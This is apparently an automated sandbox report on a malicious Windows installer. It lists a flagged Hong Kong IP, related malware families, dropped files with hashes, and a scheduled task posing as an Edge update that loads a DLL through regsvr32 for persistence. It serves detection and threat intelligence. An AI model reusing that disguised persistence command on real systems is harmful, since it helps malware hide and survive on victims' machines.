https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.1982918321.0000000005319000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.97.176.69	unknown	Hong Kong		137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583995
Start date and time:	2025-01-04 01:21:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	eXIHsSYhOX.exe renamed because original name is a hash value
Original Sample Name:	9170086e8d746e094ab4fe7444613030.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@26/22@1/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 80% Number of executed functions: 86 Number of non-executed functions: 178
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.95.31.18, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 8120 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:22:16	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineUA{2F534156-472A-43D2-9350-94580B483BA3} path: regsvr32 s>/S /i:INSTALL C:\Users\user\AppData\Roaming\BurlySparrow.dll
19:22:08	API Interceptor	57x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	Hilix.ppc.elf	Get hash	malicious	Mirai	Browse	156.253.18.92
	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	154.91.34.250
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	154.197.40.222
	ep0X2wemcU.exe	Get hash	malicious	RedLine	Browse	154.91.34.250
	vcimanagement.i586.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.253.18.48
	vcimanagement.i686.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.241.153.155
	db0fa4b8db0333367e9bda3ab68b8042.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	156.236.109.76
	db0fa4b8db0333367e9bda3ab68b8042.i686.elf	Get hash	malicious	Mirai, Gafgyt	Browse	118.193.169.219
	armv6l.elf	Get hash	malicious	Unknown	Browse	118.193.187.249
	b3astmode.spc.elf	Get hash	malicious	Mirai	Browse	118.188.166.158

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp	NkMMNoILv9.exe	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip	Get hash	malicious	Unknown	Browse
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	qnUFsmyxMm.exe	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2156
Entropy (8bit):	5.409696644034017
Encrypted:	false
SSDEEP:	48:1WSU4xympg4REoUP7gZ9tK8NPrjg7u1iMLgeRw4U2lY:1LHxveIjLZ2Kj8OLgipllY
MD5:	34B7FA7083E2740AEADFE3E28DF334AF
SHA1:	9395FB46AA7965316A9728BBA25B91627AA7A829
SHA-256:	BA5BA0CCF9F2D0037BC29BAA7B1F9C9EF10F561AECD65C54A73B3868B1C71BD6
SHA-512:	A422BCED1EBC70BCC6391E36031A3F7E87BE71D9C7F4A6818429D7172A38A9315BCE203CF327110922BC1F9BF7607A12DA5FCA6E25DB106CBF57F746298DDCF6
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....Y.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03uyovdk.glj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_211rfoh2.2ko.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ajxmuk0.clq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hb1ucjxk.aao.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hnt2pvd0.5yr.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ib4p4fjj.1te.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o3yj2mbk.pfj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ti4na4p3.3ju.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tosx40sc.2rg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uy3eb0vs.4im.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wtgqv1wj.3ya.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxfav3lk.q1y.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-14VP5.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: NkMMNoILv9.exe, Detection: malicious, Browse Filename: MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip, Detection: malicious, Browse Filename: MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip, Detection: malicious, Browse Filename: MDE_File_Sample_017466bb6ff6d1b5b887f00b4b0a959ffc026bdb.zip, Detection: malicious, Browse Filename: ETVk1yP43q.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: qnUFsmyxMm.exe, Detection: malicious, Browse Filename: Active_Setup.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-FHHU1.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp

Download File

Process:	C:\Users\user\Desktop\eXIHsSYhOX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3284992
Entropy (8bit):	6.5784760316942625
Encrypted:	false
SSDEEP:	49152:1dJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQk333uJ:rJYVM+LtVt3P/KuG2ONG9iqLRQk333K
MD5:	E97363B64F37EE24CDD55CEA14D1C564
SHA1:	DD82AE5EBF33348011B0437FE8107D4D72B9E2B9
SHA-256:	ADE1473799360F3DF1CB0F8F20FA99E325009FB53E151236D0A2BE6F041A8C8C
SHA-512:	362BDF700DDD9186E9207351F0B8879F303C8C669B4BEA2327BA549E18F7A333E11F4DC07CC2721AC18FDCDEE04A8362AE6B4CDBDC961D220E154FA6DE32182B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................Z..................@...........................2...........@......@...................P,.n.....,.j:...P0......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc.......P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-TIG80.tmp\eXIHsSYhOX.tmp

Download File

Process:	C:\Users\user\Desktop\eXIHsSYhOX.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3284992
Entropy (8bit):	6.5784760316942625
Encrypted:	false
SSDEEP:	49152:1dJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQk333uJ:rJYVM+LtVt3P/KuG2ONG9iqLRQk333K
MD5:	E97363B64F37EE24CDD55CEA14D1C564
SHA1:	DD82AE5EBF33348011B0437FE8107D4D72B9E2B9
SHA-256:	ADE1473799360F3DF1CB0F8F20FA99E325009FB53E151236D0A2BE6F041A8C8C
SHA-512:	362BDF700DDD9186E9207351F0B8879F303C8C669B4BEA2327BA549E18F7A333E11F4DC07CC2721AC18FDCDEE04A8362AE6B4CDBDC961D220E154FA6DE32182B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................Z..................@...........................2...........@......@...................P,.n.....,.j:...P0......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc.......P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\is-L5KBT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3309117
Entropy (8bit):	6.5650700822104096
Encrypted:	false
SSDEEP:	49152:NdJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQk333uj:DJYVM+LtVt3P/KuG2ONG9iqLRQk333S
MD5:	5D9A0600D9A9728C4C41944EB994F931
SHA1:	8DB0AD9A425FFA7CEA886A6110B364C4FA0E2E08
SHA-256:	B3A92750D5A4032CE32B4B6EB2D2E5FABDB36A7F27698D491F5E4D5071509D18
SHA-512:	E1B4774334B7A62506A233B996FE5029348467ADAAFBCF59652FB3A04B2580DB3D45D4547C7D3123E5CE85B5FEC747A160230D1DDE9759553E921FF2C60BDC8B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................Z..................@...........................2...........@......@...................P,.n.....,.j:...P0......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc.......P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
File Type:	InnoSetup Log File, version 0x418, 3989 bytes, 980108\37\user\376, C:\Users\user\AppData\Local\376\377\377\0
Category:	dropped
Size (bytes):	3989
Entropy (8bit):	3.8031833444898466
Encrypted:	false
SSDEEP:	96:40n1f4Joffs0CVbcuJlEDA4MZAe2LdtHh/:v1PfURbP4DSmbHZ
MD5:	A0A4F062D82635A4F1E407C5E16269EE
SHA1:	7A2AD49A0E472BD2CA3AABFA3D0D94A518649C5F
SHA-256:	27728A99DA7EAEC31C46588F8B1C5019B4BEC03FCF54973244BD089826638BD6
SHA-512:	CE31168BD79AD785677AD2F2370174118CD2251E449A6F78573AD6FAB175A8B1201EDB7559C65BE17944D5D7FA2686AD72BEA67EA65E2C1BB009C51F2124F781
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................File............................................................................................................................File........................................................................................................................................!...............................................................................................................C......6....".......s........9.8.0.1.0.8......j.o.n.e.s......C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l..................;.... ..............IFPS...."........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TEXECWAIT.................!MAIN....-1..'...dll:kernel32.dll.GetCu

C:\Users\user\AppData\Local\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3309117
Entropy (8bit):	6.5650700822104096
Encrypted:	false
SSDEEP:	49152:NdJYVM+9JtzZWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLx1RQk333uj:DJYVM+LtVt3P/KuG2ONG9iqLRQk333S
MD5:	5D9A0600D9A9728C4C41944EB994F931
SHA1:	8DB0AD9A425FFA7CEA886A6110B364C4FA0E2E08
SHA-256:	B3A92750D5A4032CE32B4B6EB2D2E5FABDB36A7F27698D491F5E4D5071509D18
SHA-512:	E1B4774334B7A62506A233B996FE5029348467ADAAFBCF59652FB3A04B2580DB3D45D4547C7D3123E5CE85B5FEC747A160230D1DDE9759553E921FF2C60BDC8B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f....................Z..................@...........................2...........@......@...................P,.n.....,.j:...P0......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc.......P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\BurlySparrow.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2491219
Entropy (8bit):	6.77069137489322
Encrypted:	false
SSDEEP:	49152:hYXn5erYk9ytmHjj4Kcz8t8yqHYZib5g1IdvkQaXXP8Z0yywVJVjyEtUy:hYXIrYrsjjn9I+ib5V0y/cEtUy
MD5:	72EA5220644A482BF6EE570CB9BD996C
SHA1:	C5E6C482C975CA2A3CE7CFDE9A44A2BD18E69D81
SHA-256:	326F0D47F4941D7F599FEDBA56D2EFD39838BE34ACA5D9C804A01484207966E1
SHA-512:	E8878BDA1C6E13D618E72B19ECE1138DCC1EAA6D4DDFACA63A779565DF5D8F088DC9CEFE498766BC8CD31E267F89CC389460DD7EEB579EF4B52AFB60C4974358
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...1.0g.4...'....&#...&.,...0...............@........................................&...@... .........................q.......H(..............................,......................................................$............................text....+.......,..................`..`.data........@.......0..............@....rdata..8n...P...p...2..............@..@.eh_fram............................@..@.bss....P................................edata..q............t..............@..@.idata..H(.......*...v..............@....CRT....4...........................@....tls................................@....reloc..,...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\is-SF7GG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JVB5Q.tmp\eXIHsSYhOX.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2491219
Entropy (8bit):	6.77069137489322
Encrypted:	false
